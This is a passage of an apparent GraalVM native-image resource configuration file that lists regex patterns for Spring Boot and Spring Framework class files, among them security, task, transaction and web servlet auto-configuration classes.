\"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/DefaultWebSecurityCondition$Classes.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/DefaultWebSecurityCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/SecurityDataConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/SecurityProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/reactive/ReactiveUserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured$MissingAlternative.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/reactive/ReactiveUserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured$NameConfigured.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/reactive/ReactiveUserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured$PasswordConfigured.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/reactive/ReactiveUserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/reactive/ReactiveUserDetailsServiceAutoConfiguration$RSocketEnabledOrReactiveWebApplication$RSocketSecurityEnabledCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/reactive/ReactiveUserDetailsServiceAutoConfiguration$RSocketEnabledOrReactiveWebApplication$ReactiveWebApplicationCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/reactive/ReactiveUserDetailsServiceAutoConfiguration$RSocketEnabledOrReactiveWebApplication.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/reactive/ReactiveUserDetailsServiceAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/AntPathRequestMatcherProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/RequestMatcherProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/SecurityAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/SecurityFilterAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/SpringBootWebSecurityConfiguration$SecurityFilterChainConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/SpringBootWebSecurityConfiguration$WebSecurityEnablerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/SpringBootWebSecurityConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/UserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured$MissingAlternative.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/UserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured$NameConfigured.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/UserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured$PasswordConfigured.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/UserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/security/servlet/UserDetailsServiceAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/sql/init/DataSourceInitializationConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/sql/init/R2dbcInitializationConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/sql/init/SqlDataSourceScriptDatabaseInitializer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/sql/init/SqlInitializationAutoConfiguration$SqlInitializationModeCondition$ModeIsNever.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/sql/init/SqlInitializationAutoConfiguration$SqlInitializationModeCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/sql/init/SqlInitializationAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/sql/init/SqlInitializationProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/ssl/FileWatcher.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/ssl/SslAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/ssl/SslProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/ssl/SslPropertiesBundleRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/ScheduledBeanLazyInitializationExcludeFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskExecutionAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskExecutionProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskExecutorConfigurations$SimpleAsyncTaskExecutorBuilderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskExecutorConfigurations$TaskExecutorBuilderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskExecutorConfigurations$TaskExecutorConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskExecutorConfigurations$ThreadPoolTaskExecutorBuilderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskSchedulingAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskSchedulingConfigurations$SimpleAsyncTaskSchedulerBuilderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskSchedulingConfigurations$TaskSchedulerBuilderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskSchedulingConfigurations$TaskSchedulerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskSchedulingConfigurations$ThreadPoolTaskSchedulerBuilderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/task/TaskSchedulingProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/ExecutionListenersTransactionManagerCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/TransactionAutoConfiguration$AspectJTransactionManagementConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/TransactionAutoConfiguration$EnableTransactionManagementConfiguration$CglibAutoProxyConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/TransactionAutoConfiguration$EnableTransactionManagementConfiguration$JdkDynamicAutoProxyConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/TransactionAutoConfiguration$EnableTransactionManagementConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/TransactionAutoConfiguration$TransactionTemplateConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/TransactionAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/TransactionManagerCustomizationAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/TransactionManagerCustomizers.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/transaction/TransactionProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/ServerProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/WebProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/client/AutoConfiguredRestClientSsl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/client/HttpMessageConvertersRestClientCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/client/NotReactiveWebApplicationCondition$ReactiveWebApplication.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/client/NotReactiveWebApplicationCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/client/RestClientAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/client/RestClientBuilderConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/client/RestTemplateAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/client/RestTemplateBuilderConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/embedded/EmbeddedWebServerFactoryCustomizerAutoConfiguration$JettyWebServerFactoryCustomizerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/embedded/EmbeddedWebServerFactoryCustomizerAutoConfiguration$NettyWebServerFactoryCustomizerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/embedded/EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/embedded/EmbeddedWebServerFactoryCustomizerAutoConfiguration$UndertowWebServerFactoryCustomizerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/embedded/EmbeddedWebServerFactoryCustomizerAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/embedded/TomcatWebServerFactoryCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/format/WebConversionService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/DispatcherServletAutoConfiguration$DefaultDispatcherServletCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/DispatcherServletAutoConfiguration$DispatcherServletConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/DispatcherServletAutoConfiguration$DispatcherServletRegistrationCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/DispatcherServletAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/DispatcherServletPath.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/DispatcherServletRegistrationBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/HttpEncodingAutoConfiguration$LocaleCharsetMappingsCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/HttpEncodingAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/MultipartAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/MultipartProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/ServletWebServerFactoryAutoConfiguration$BeanPostProcessorsRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/ServletWebServerFactoryAutoConfiguration$ForwardedHeaderFilterConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/ServletWebServerFactoryAutoConfiguration$ForwardedHeaderFilterCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/ServletWebServerFactoryAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/ServletWebServerFactoryConfiguration$EmbeddedJetty.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/ServletWebServerFactoryConfiguration$EmbeddedTomcat.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/ServletWebServerFactoryConfiguration$EmbeddedUndertow.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/ServletWebServerFactoryCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/TomcatServletWebServerFactoryCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcAutoConfiguration$EnableWebMvcConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcAutoConfiguration$OptionalPathExtensionContentNegotiationStrategy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcAutoConfiguration$ProblemDetailsErrorHandlingConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcAutoConfiguration$ResourceChainCustomizerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcAutoConfiguration$ResourceChainResourceHandlerRegistrationCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcAutoConfiguration$ResourceHandlerRegistrationCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcAutoConfiguration$WelcomePageHandlerMappingFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WebMvcProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WelcomePageHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/WelcomePageNotAcceptableHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/AbstractErrorController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/BasicErrorController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/DefaultErrorViewResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/ErrorMvcAutoConfiguration$ErrorPageCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/ErrorMvcAutoConfiguration$ErrorTemplateMissingCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/ErrorMvcAutoConfiguration$PreserveErrorControllerTargetClassPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/ErrorMvcAutoConfiguration$StaticView.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/web/servlet/error/ErrorMvcAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/websocket/servlet/TomcatWebSocketServletWebServerCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/websocket/servlet/WebSocketServletAutoConfiguration$JettyWebSocketConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/websocket/servlet/WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/websocket/servlet/WebSocketServletAutoConfiguration$UndertowWebSocketConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/autoconfigure/websocket/servlet/WebSocketServletAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/availability/ApplicationAvailability.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/availability/ApplicationAvailabilityBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/context/annotation/DeterminableImports.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/context/properties/BoundConfigurationProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/context/properties/ConfigurationProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/context/properties/ConfigurationPropertiesBinder$ConfigurationPropertiesBinderFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/context/properties/ConfigurationPropertiesBindingPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/context/properties/EnableConfigurationProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/context/properties/EnableConfigurationPropertiesRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/jackson/JsonComponentModule.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/jackson/JsonMixinModule.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/jackson/JsonMixinModuleEntries.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/jdbc/init/DataSourceScriptDatabaseInitializer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/jdbc/metadata/DataSourcePoolMetadataProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/logging/logback/defaults.xml\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/sql/init/AbstractScriptDatabaseInitializer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/sql/init/dependency/DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/sql/init/dependency/DatabaseInitializationDependencyConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/ssl/DefaultSslBundleRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/task/SimpleAsyncTaskExecutorBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/task/SimpleAsyncTaskSchedulerBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/task/TaskExecutorBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/task/TaskSchedulerBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/task/ThreadPoolTaskExecutorBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/task/ThreadPoolTaskSchedulerBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/validation/beanvalidation/MethodValidationExcludeFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/client/RestClientCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/client/RestTemplateBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/embedded/tomcat/TomcatServletWebServerFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/server/AbstractConfigurableWebServerFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/server/ConfigurableWebServerFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/server/ErrorPageRegistrarBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/server/WebServerFactoryCustomizerBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/server/mime-mappings.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/AbstractFilterRegistrationBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/DelegatingFilterProxyRegistrationBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/DynamicRegistrationBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/FilterRegistrationBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/RegistrationBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/ServletComponentRegisteringPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/ServletRegistrationBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/error/DefaultErrorAttributes.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/filter/OrderedCharacterEncodingFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/filter/OrderedFormContentFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/filter/OrderedRequestContextFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/web/servlet/server/AbstractServletWebServerFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/ApplicationContextAware.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/ApplicationListener.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/ResourceLoaderAware.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/SmartLifecycle.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/AdviceModeImportSelector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/AspectJAutoProxyRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/AutoProxyRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/CommonAnnotationBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/Conditional.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/Configuration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/ConfigurationClassPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/DeferredImportSelector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/DependsOn.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/EnableAspectJAutoProxy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/Import.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/ImportAware.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/ImportBeanDefinitionRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/ImportRuntimeHints.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/PropertySource.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/annotation/Role.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/event/DefaultEventListenerFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/event/EventListenerMethodProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/event/GenericApplicationListener.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/event/SmartApplicationListener.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/support/ApplicationObjectSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/support/DefaultLifecycleProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/context/support/PropertySourcesPlaceholderConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/core/Ordered.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/core/annotation/Order.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/core/convert/ConversionService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/core/convert/support/GenericConversionService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/core/io/support/PropertiesLoaderSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/core/task/AsyncTaskExecutor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/core/type/classreading/CachingMetadataReaderFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/core/type/classreading/SimpleMetadataReaderFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/dao/annotation/PersistenceExceptionTranslationPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/format/support/DefaultFormattingConversionService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/format/support/FormattingConversionService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/http/converter/AbstractGenericHttpMessageConverter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/http/converter/AbstractHttpMessageConverter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/http/converter/HttpMessageConverter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/http/converter/StringHttpMessageConverter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/http/converter/json/AbstractJackson2HttpMessageConverter.class\\\\E\"\n  